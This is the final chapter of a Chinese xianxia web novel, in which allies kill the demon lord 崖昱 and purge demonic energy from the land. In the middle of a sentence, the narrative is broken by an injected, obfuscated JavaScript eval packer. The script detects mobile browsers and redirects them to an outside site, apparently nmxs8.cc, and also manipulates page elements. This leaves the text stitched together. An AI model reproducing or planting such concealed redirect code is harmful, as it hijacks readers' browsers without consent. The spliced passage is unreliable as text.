什么情况?诈尸了? 他没有说话,环顾一圈,一双金色的瞳孔毫无温度,冷冰冰的视线从每一个人身上划过,最后落在了岚孟身上。 岚孟咳了几声,她身子发虚,一阵阵地冒着冷汗,手撑在地上想要站起来,柳逸直将她扶了起来,有力的手紧紧箍着她的肩膀,却不敢贴近她的身体,和她隔着寸许的距离——她背上的伤口已是裂开了,正一点一点往外渗血,柳逸直生怕自己一放手她就会倒下去。 她不自觉地往前挪了一步,眼中饱含希冀,苍白的唇瓣微微翕动,半天也说不出话来,终于鼓起勇气开口,嗓音却沙哑得不像话。 “尧、尧玦?” 濡湿的目光对上了一双毫无温度的眼睛,她唇边的笑意就淡了几分。 面上的冷意乍然如冰泉解冻,尧玦绽放一个春日暖阳般的笑容,笑意却不达眼底,他朝岚孟张开怀抱,勾唇道:“我能够死而复生,还真是多谢你了,岚孟,来我这里吧。” “他不是尧玦!”岳孤明高声提醒,刀尖对准了包围之中的那个人,“他是朝圣道的圣主!岚孟!你不要被他骗了!” “尧玦”的脸上浮起了几分委屈,他摊开手:“我身上可没有一点的魔气,要说我是什么朝圣道圣主,当真是冤枉。” 辛念笑出了声,久违地唤起了那个称呼:“主上,事到如今,您觉得,再说这些话还有意义吗?” “尧玦”癫狂地笑了起来,他的五官和身形忽然发生了变化,转眼之间便化成了崖昱的模样,一双眼瞳红得像血,周身缭绕着浓重的魔气,刺鼻难闻的气味扑面而来。 与此同时,越来越多的魔修从四面八方涌了过来,将几人团团围住,一团黑雾从天而降,落地化为了绮罗衣的样子,他施施然朝着崖昱的方向叩拜,“恭贺圣主——” 其余魔修齐声附和,崖昱哈哈大笑,瞧着十分畅快。 许渭从魔修中间走了出来,抬眸瞥了左愁双一眼,对方却只盯着包围之中的崖昱,一个眼风都没给他,他抿紧了唇,终是未发一言。 崖昱稀罕地举着自己的双手翻来覆去地看,瞧着爱不释手得紧。他看向辛念,面露赞许:“辛左使,一百多年不见了,一见面你就给本座找了这么个好身体,本座真是满意极了,便饶恕你昔日叛逃之过吧。” 辛念微微勾唇,笑意却不达眼底:“您客气了,毕竟您是个老不死的,为了找一个最稳妥的方法弄死您,属下费多少功夫都是应该的。” “还有你!”崖昱又看向岚孟,眼中闪着精光,“当初本座放你一马果然是对的!哈哈哈哈凡人的身子到底差强人意,哪里比得上这一具灵力充盈的躯体?本座感觉浑身都充满了力量!本座要奖赏你!就让你做……做护法如何?” 朝圣道唯一的护法绮罗衣卑躬屈膝道:“既然圣主发话了,属下自然会将护法之位双手奉上,只不过……”他瞥了岚孟一眼,“此子好像不大愿意的样子啊。” 岚孟铁青着脸:“我明明召唤的是尧玦的魂魄,你又是从哪里冒出来的?” “尧玦?哈哈哈……”崖昱捂着肚子笑了起来,好似听到了天大的笑话一般,“哪还有什么尧玦的残魂?你以为本座会任由他在世间飘荡,有朝一日东山再起吗?” 他抬手抹去眼角溢出来的眼泪花,对上岚孟愤怒的目光,唇边勾起一个挑衅的笑容,“自然是一片片撕碎了他的魂魄,吃进肚子里了。” 岚孟只如五雷轰顶,耳边什么都听不到了。难怪她能感受到尧玦的气息,难怪…… 她笑了起来,一行清泪顺着脏污的脸颊滑落在地上,支离破碎的笑声在众人耳边回荡。柳逸直心尖泛起了密密麻麻的疼,双手搂紧了她,才稳住了她的身体,没让她摔在地上。 花繁冷哼一声,“何必白费口舌?费尽心机将这鳖孙钓出来,是为了话家常的么?”巨大狐尾上的毛乍然如钢针一般坚硬,她率先发动了攻击,一尾巴就将离得近的魔修们甩飞了出去。 左愁双一贯沉默,只“欻”的一声抽出了缠在腰间的软剑,花蔺“嗷呜”一声冲向敌人,岳孤明担忧地看了岚孟一眼,也提着刀加入了战局。 夏澜熹就算是有再多疑问,一直能将其压在心底,她抽出腰间的列缺鞭,细小电弧噼啪作响。 “轰隆隆——”山崩地裂,火光四溅,大战一触即发。 柳逸直揽着岚孟往外围退去,岚孟面如死灰,一点挣扎的意思都没有,辛念护着他们冲出重围,来到了几里外的山坡上,抬手落下一个结界,转身欲走之际忽然便人揪住了袖子。 她扭头看去,只见岚孟紧紧抓着她,低着头,辛念看不清她的神色,却听得出她话语里的疲惫和绝望。 “你早就知道了?” 辛念深深舒了一口气,平静道:“这是尧玦所希望的,你要恨,就去恨他吧。” 岚孟如雷轰顶,嘴巴翕动良久说不出话来。 辛念只轻轻一扯,便将袖子从她手中扯了回来,看向柳逸直叮嘱道:“保护好她。” 柳逸直重重点了点头,下一秒辛念已经原地消失。 “放开。”只听岚孟冷冷一声呵斥,还未等柳逸直有所动作,他便被大力推开了,剑光一闪,下一秒,泛着寒气的参剑已经架在了他脖子上。 柳逸直梗着脖子,直视她泛红的眼睛,没有作声。 “你早就知道?”她的声音分明在颤抖。 柳逸直:“是。”脖子上一阵细微的刺疼,他也不躲,勾唇笑道:“你要杀了我吗?” 岚孟紧紧咬着牙,握着刀的手颤抖不止,眼泪好像永远也流不尽,顺着脖颈淌进早已湿透的衣襟里。 两人僵持片刻,最终还是柳逸直率先败下阵来,试探性地去拿她手里的参剑,见她没有反抗挣扎,才一把夺过来塞回剑鞘里,往前走了一步伸手拢在她肩后虚抱着她,将她的脑袋按在自己肩头。 “对不起。” 柳逸直简单把辛念告诉他的事情讲了一遍,然后便闭上了嘴,只搂紧了怀中的姑娘,希望能稍微给她一点安慰。 他不知道该怎么劝慰,木已成舟,说什么都是徒劳。更何况要说这样的局面是他一手造就也不为过,毕竟他明明知道尧玦的谋划,还瞒着她甚至帮她,加快了她希望破灭的进程,她若是想一刀杀了他,他也无话可说。 只是还有事情必须去做,崖昱得到了岚孟为尧玦准备的身体,不能随意潜入地底魔气之中逃之夭夭,现在绝对是击杀他的千载难逢的机会,过了这个村就没这个店了。 这些道理岚孟怎会不懂?她只是……不甘心罢了,辛辛苦苦筹谋了二十年,没想到全给了他人做嫁衣,在背后操纵着棋盘的人竟然还是她一心一意想要复活的混蛋…… 不仅仅是她,就连辛念、柳逸直甚至左愁双这样的人都被他算计在内了,当真是处心积虑。她不明白,天下苍生就那么重要吗?竟值得他舍弃自己的生命来布这个局? 如果除掉崖昱就是他所期望的,那好,她会按照他的心愿,还九州众生一个海晏河清的太平盛世。 岚孟轻轻推了柳逸直一把,他松手,望见她面上的心碎情绪已经被坚毅替代,终于绽放笑颜,抹去她眼角的湿润,握着她的手,灵气在两人周身流转,没一会儿便烤干了被雨水淋湿的衣服。 他担忧地望着她,“身体没问题吗?”毕竟才剖了妖丹,背上的伤口也裂开了。 岚孟摇了摇头,继而朝他伸手:“回灵丹。” 因为有辛念设下的结界,还没有魔修发现他们,柳逸直连忙将芥子袋里的回灵丹都掏了出来,两人半蹲在山坡上疯狂地嗑药,是药三分毒,但如今情况危急,岚孟也管不了那么多了,将一整瓶回灵丹全倒进了嘴里,丹田微热,源源不断滋生出灵气来。 青丘再一次陷入了混乱之中,左愁双和辛念专门对付崖昱,其余人则是同源源不断赶来的魔修们缠斗在一起。 许渭最先败于岳孤明的刀下,这个反叛了山到源两次的败类,终于长眠于青丘山下。 而后花繁和花蔺又联手解决了绮罗衣。 崖昱不愧是活了几万年的人,修为强劲,深不可测,左愁双、辛念二人联手也只能勉强压制住他而已,三道身影犹如疾风般交错,山崩地裂,爆发出震耳欲聋的轰鸣,单凭他们二人,要想将崖昱斩杀于此还是差了些火候。 朝圣道魔修仗着有秘技“烟锁池塘柳”,可以源源不断从鬼柳池生产出新的分身来,但他们恢复的速度未免也太快了些,难不成鬼柳池就在这附近? 岚孟将自己的猜测同柳逸直说了,让他去找找这附近是不是有鬼柳池的存在,这样耗下去,吃亏的终究是他们。 “那你怎么办?” 岚孟恢复能力极强,没了尧玦妖丹的反噬以后,背上的伤口渐渐愈合,腹部的洞也不再流血,她道:“你且去吧,我暂时还死不了,不然我们都得把命搭在这。” 既然她已经有了主意,柳逸直也不能多说什么,捏了捏她的手,便化作一阵风离开了结界,朝远处掠去,岚孟指挥着商刀掩护他离开。 商刀“嗖”地一声飞回了刀鞘之中,岚孟将芥子袋和妖境里储存的可以回灵补元的东西全都取了出来,一股脑倒进了嘴里,一边咀嚼一边暗中观察着和左愁双缠斗在一起的崖昱。 灵力一点点充盈经脉,她眼瞳的蓝色也越来越浓郁。王八蛋,真当她是纸糊的老虎不成? - 另一边,柳逸直飞在半空中,低头俯瞰着荒凉冷寂的青丘,努力寻找鬼柳池的踪迹,可怎么也找不到可疑的地方,急得他满头大汗。 忽然,他在英水河床上看到了一个黑影,好像在朝他招手,凑近了一看,居然是贺舟晏。也对,当时他去找夏澜熹的时候,贺舟晏就在旁边,他是叛逃出来的,对朝圣道恨之入骨,自然不会放过这个落井下石的机会。 “鬼柳池就在那个洞穴里,有人在看守,我一个人搞不定。” 柳逸直顺着他手指的方向看去,只见两个凶神恶煞的魔修守在半山腰的洞穴门口,而那洞穴赫然便是英水发源地。 “一人一个。”柳逸直低声道,贺舟晏点了点头,身体融入了地面阴影之中,几息时间便来到了洞穴附近。 左边的守卫板着脸目视前方,丝毫没有察觉到一团阴影顺着山体爬到了他的身后,悄无声息地伸出胳膊将他拖进了阴影之中。 右边的守卫余光瞥见同伴被阴影吞噬,立即扭头看去,柳逸直便抓住了这个破绽,身形如鬼魅,瞬间便从几里之外飞至守卫身后,将一只赤色箭簇狠狠扎进了他的后脑勺,守卫甚至来不及呼喊一声,便被一击毙命,身子一软倒在了地上。 贺舟晏从阴影里走了出来,他随手将守卫的尸体扔了出去,低头瞥见衣襟上喷溅的血迹,皱起眉头不悦地“啧”了一声。 柳逸直率先走进了洞穴里,贺舟晏紧跟其后,将影子往外蔓延包裹住了柳逸直,因而洞穴里的魔修也没有察觉到他们靠近,两人合作默契,一路杀到了洞穴最深处。 同柳逸直记忆中不同,洞穴里的水池已经扩大了好几倍,水里密密麻麻站着很多魔修,粗略估计应当有三百来人,皆双目紧闭,血红的池水没过了他们的胸膛。 贺舟晏低声道:“只要毁掉他们的肉身,外面那些分身就会消失了,但这么多人,一个一个杀也来不及,要是把他们弄醒了就糟了。” 柳逸直多的是杀人的阵法,只见他拿出一把红色阵旗,扬手一挥,阵旗便自行插到了水池边缘,将魔修们团团围住,阵法线条从阵旗上延展出来,交织成了密不透风的巨网。 然后他取出铜剑,割破手指将血往剑上一抹,低喝一声:“去!”铜剑便飞至水池正中央,变得越来越大,缓缓往下沉。 其中一个魔修猛然回神,他一见悬在头顶的巨剑登时面露惊惶,大声呼喊起来,许多人被吵醒,纷纷跃出水面,然而却还是被阵旗结界困在了水池之中。 随着巨剑压下,魔修们纷纷口吐鲜血,不多时便已有人支撑不住,身体爆炸开来,惨叫声响彻山洞,铜剑深深埋入了水池之中。 二十年前,铜剑被九尾狐衔青带离青丘。 二十年后,柳逸直又将它带了回来,完成了最后的使命,同数百罪孽深重的魔修一起,深埋在了青丘的土地之中。 随着魔修本体的死亡,他们的分身也化作魔气沉入了地下。崖昱见了以后忽而癫狂地笑了起来,“你们以为没了那些废物,本座就会败吗?” 只见那些本该沉入地下的魔气忽然往上升,齐齐涌入了崖昱的身体,魔气轰然爆发,如茫茫大潮般向四周荡开,纵然是左愁双也不能撄其锋芒,不得不退离开来,岳孤明等人被击飞出去,无一人不口吐鲜血,距离最近的辛念则是来不及闪避,被崖昱一把攥住了脖颈。 “本座也玩腻了猫捉老鼠的戏码,这就送你上路!” 崖昱猛地收紧五指,辛念的脸瞬间涨红,额头上青筋乍起,双手无力地扒拉着崖昱的胳膊。 崖昱的眼中闪着嗜血的光芒,就在他要掐死辛念的时候,他忽然听到了“咔哒”一声轻响,来源于他的丹田之处,他愣了一下,他很清楚,是那颗妖丹碎了。 妖丹破碎的清脆声响接踵而至,崖昱尚未来得及补救,便感觉丹田忽然爆炸了,有什么东西钻了出来,“砰——”无数蔷薇藤撑开了崖昱的肚子,落地扎根,吸收着土中残留的魔气,以迅雷不及掩耳之势长成了茂盛的树丛,尖锐的刺扎穿了崖昱的身体,他手上一松,辛念便摔在了地上,捂着脖子费力咳嗽着。 “暾云炬——” 岚孟撕心裂肺的高喊传进耳中,辛念来不及思考,抬手穿过了蔷薇丛,纵然被尖刺划伤了手臂也不皱一下眉头,五指成爪,径直穿进崖昱的胸膛,将作为心脏的暾云炬挖了出来。 暾云炬一离开崖昱的身体便亮起刺眼的光芒,神力浩浩荡荡,包裹住了崖昱的身躯,仿佛灵魂被业火灼烧,崖昱撕心裂肺地嚎叫起来,一团魔气径直冲破了天灵盖,鬼哭狼嚎着朝空中逃去。 左愁双立即乘胜追击,将那团魔气拦截在空中,然而魔气无形,没了身体的禁锢以后再难伤其分毫,左愁双也只能勉强将其拦截而已。 柳逸直姗姗来迟,飞扑到岚孟身边将她抱了起来。尧玦的妖丹在她身体里二十年,早已沾染了她的气息,她强行扭转阴阳,让蔷薇藤在妖丹之中绽放,已是逆天而行,又扎根于地吸收魔气快速成长,反噬自然无法避免——她已经被魔气侵蚀了,火焰好似从身体中燃起,由内而外灼烧着她的身躯。 柳逸直的心如坠冰窖,握着她的手给她输送灵力,想要逼退魔气的反噬,不过是枉然,能消灭魔气的只有暾云炬。 他一把将人抱起,朝暾云炬飞奔过去,尚未靠近便感觉到暾云炬的神力降落在了他们身上,像是沐浴着温暖的阳光,不一会儿柳逸直便感觉怀中娇躯滚烫的体温慢慢降了下来,魔气的侵蚀也慢慢消退,他猛地松了一口气。 抬头望去,左愁双、花繁姐弟和尚有余力的岳孤明联合对抗着化作魔气的崖昱,围困住他却杀不了他,在场唯一能掌握暾云炬的岚孟又昏迷不醒,一时间陷入了僵局。 就在这时,援兵终于来了,几位山主跑在最前,后面紧跟着的便是风菱衣、洛山、白渐行等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388057|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,远处还有弟子源源不断御剑飞来。 “徒儿!鸿蒙神行阵!”风菱衣高喊道。 柳逸直立即意会,单手起阵,庞大的阵法平地而起,风菱衣指挥着不同灵根的人站到了各自的位置,柳逸直将岚孟托付给了辛念,然后便飞掠到了风菱衣的身边。 辛念抱着岚孟来到了山坡上,望见越来越多的丹灵卫前赴后继地踏入阵法之中,不仅如此,还有其他宗门的修士、散修甚至一向置身事外的妖族,带着不屈的信念从四面八方赶来,燃烧自己的热血,贡献自己的力量,好似扑火的飞蛾,因为坚信人间有正道,即便头破血流,也一往无前。 辛念不禁红了眼眶。 尧玦啊,你看到了吗,这就是你殷切期待的后辈,这就是你拼死也要守护的人间。 “咳咳……”怀中的姑娘忽然咳嗽了一声,悠悠转醒。 岚孟一睁眼便望见了那个数千人共同施法的困住崖昱的强大阵法,那团魔气大若小山,在阵法里横冲直撞,阵法一次又一次生出裂缝,一次又一次被团结一心的人们填补,这个倒下了那个顶上,誓要将大魔头困死在阵法之中。 她握着辛念的胳膊,哑声道:“扶我一把。”辛念撑着她的身体将她扶了起来。 岚孟五指一握,暾云炬的权杖便出现在了她的手心,她轻轻唤了一声,悬浮在半空之中的暾云炬华光便飞进了权杖顶端的明珠之中。 两人相互搀扶着朝阵法走去。 崖昱消停了下来,并不是他已经走到了生命的尽头,而是他认出了一个人——在场唯一一个光系修士,白渐行。 “你!你是斗的后人!”要是崖昱还有五官的话,他的表情必定是狰狞而癫狂的,一双猩红的眼瞳紧紧盯着白渐行,就好像恶狼看见羊羔一样,好似要生吞活剥了他。 白渐行的双腿止不住地打着摆子,声音也哆哆嗦嗦的,却没有后退一步,“在,在下确实是昔日月神神尊座下,二十八宿之一斗宿的后人,先祖姓白,名却善。” “白却善?那不是山到源的开山始祖吗?!”有人惊呼道。 “白却善?”崖昱咬牙切齿道,“他还好意思给自己起名叫‘善’?真是可笑至极!当年指使危暗杀本座的时候,他怎么不提醒自己要行善积德?!” “当年先祖和你到底有什么恩怨我不清楚,真相究竟如何我也不了解,我只知道,你堕落凡尘,怨气化魔气,残害天下生灵就是不对!”白渐行大吼道,一张脸憋得通红,原本哆嗦颤抖的身子也逐渐挺直,他破口大骂:“神使之争就该止于神族之间,是你自己没本事,要报仇你也该找斗宿和危宿去,把满腹怨气撒在无辜的凡人身上,你算个什么东西!” “你知不知因为你,天下百姓受了几千年的苦!” 崖昱歇斯底里道:“明明本座才是受害者,是他斗宿负了本座!本座当他是兄弟,而他呢!把本座打入弱水河,永世不得超生!花了几万年的时间,才重聚精魄!凭什么本座要以德报怨?他不是心系苍生吗?那老子就毁了这天下!让他知道,得罪老子的下场!” “哈哈哈哈来啊!不是要杀了老子吗!把老子困在笼子里算什么本事!” 癫狂的笑声在每个人耳边回荡,魔气自地底升腾而起,缓缓攀上了人们的身躯,不少道心不稳的人被钻了空子,愤懑不平的情绪如潮水般淹没了他们,脑海中回响着蛊惑之音,一遍遍冲刷着他们脆弱不堪的神智。 少数人不堪重负,道心一乱,魔气便争先恐后钻入了他们的经脉之中,侵蚀着他们的神智。 “叮铃铃——” 清脆的铃铎之声好似从心底响起,夏澜熹喜上眉梢,她惊呼出声:“崔长老!” 只见崔弃手上虚虚握着一个玄色铃铛,那便是梵音铃,其铃声直入人心,可以破除一切虚妄和杂念,只一声便令人耳清目明,杂念一扫而空,散乱的队形再一次变得规整。 这时,岚孟握着暾云炬走到了阵法之中,她走到了木系修士的位置,诸葛宁、言如期等离地草论道会的同门们簇拥着她,将她推到了最前面。 “咚——”她重重将暾云炬往地上一敲,神力的赐福落在了每一个身上,洗去了人们身上的疲惫,拔除了攀附在他们身上想要扰乱其内心的魔气。 崖昱怒骂起来:“当年尧玦要坏本座的好事,本座毫不留情杀了他!如今又是你!本座一定会杀了你!” 岚孟的脸色惨若白纸,紧紧抓着暾云炬才稳住了身形,她唇角勾笑,缓声道:“那你恐怕没有这个机会了。” 她没给继续崖昱狗叫的机会,让暾云炬的神力覆盖在了鸿蒙神行阵上,包裹着阵法一寸寸缩小,崖昱无处可逃,只能像是无头苍蝇一样在越来越狭小的阵法空间里到处逃窜,犹如困兽之斗。 他不甘心地怒骂着,挑动着人们内心的欲望、不甘和愤懑,然而梵音铃一响,他的努力就会被轻易化解,源源不断从地底涌上来的魔气也被暾云炬消除。 修士们皆盘腿坐下,少数人甚至已经旁若无人地入定了,这样的场合,大敌当前,没有人会起什么坏心思捣乱,皆专注于自己,专注于对抗能够扰乱道心的魔音,有人败下阵来,也有人幡然顿悟,实力飞速增长…… 就这样,十天过去了。 困囿着崖昱的阵法已经缩小到只有人头大小,天边泛起鱼肚白,一抹阳光照在了岚孟身上,她不期然睁开了眼睛,望见远处山峦上跳出了一轮金色的太阳,鸟儿从天边飞过,白色的羽翼也被阳光染成了金色。 目光挪回近前,崖昱依旧在怒骂着,但嗓音沙哑得不像话,声音也小了很多,显然已是强弩之末。 她站了起来,缓缓走了过去。 修士们接二连三地醒了,纷纷将目光落在她身上。 她不是什么感性之人,面对仇敌,她只想一刀活剐了他,哪有功夫说什么长篇大论对其评头论足?所以她什么也没说,只举着暾云炬靠近了崖昱,强大神力爆发开来,蓝色长发在空中乱舞,衣袍随风猎猎作响,身后巨大的羽翅“唰”地一下展开了,明亮的蓝色是焦土上唯一一抹亮色。 她双手握紧了暾云炬,体力渐渐不支,下盘不稳,双腿难以遏制地往后退,忽然有东西抵在了她的脚跟处,背上一热,是有人将手按在了她的背上,灵力源源不断传入她的身体。 岚孟扭头一看,是柳逸直。 而柳逸直之后,是辛念,鸣珂,娄雪沁,翟子续,诸葛宁,洛山,夏澜熹,风菱衣……是千千万万和她并肩作战的同袍们。 是尧玦。 那抹淡得几乎看不见的残魂只冲她展颜笑了笑,便被南来北往的风吹散了。 她瞬间泪如雨下。 握着暾云炬的手愈发坚定,灵气如滚滚大潮般涌入暾云炬之中,苍穹之上风起云涌,火烧云瞬间便铺满了整个天空,金色的游龙在云彩间翻腾,忽然俯冲而下化作无数头小鹿,径直闯入了阵法之中,崖昱撕心裂肺的喊声响彻天地,“轰——”阵法从内部轰然碎裂,澎湃魔气与灵气相撞,天地为之一震,所有人都被灵波掀飞了出去。 天上下起了金色的雨,迎着夏日的朝阳,整个九州大地都浸润在灵雨之中。 灵雨一直下到了九幽,被魔气盘踞了千年之久的褐色大地头一次迎来了曙光,深埋于地底的黑色魔气尽数升腾,尚未升入高空便被灵雨净化,也没有了侵蚀万物的能力,化作无色无味无形的烟气,消散在了天地之间。 一向寸草不生的土地长出了第一棵小草,紧接着长出了第二株,第三株……没过多久,漫山遍野皆是青青草色。 虫来,鸟来,兽来,人来,过不了多久,这里便会开满生命之花,一切热闹与喧嚣将再次回归。 从此这世上再也无魔。 —正文完—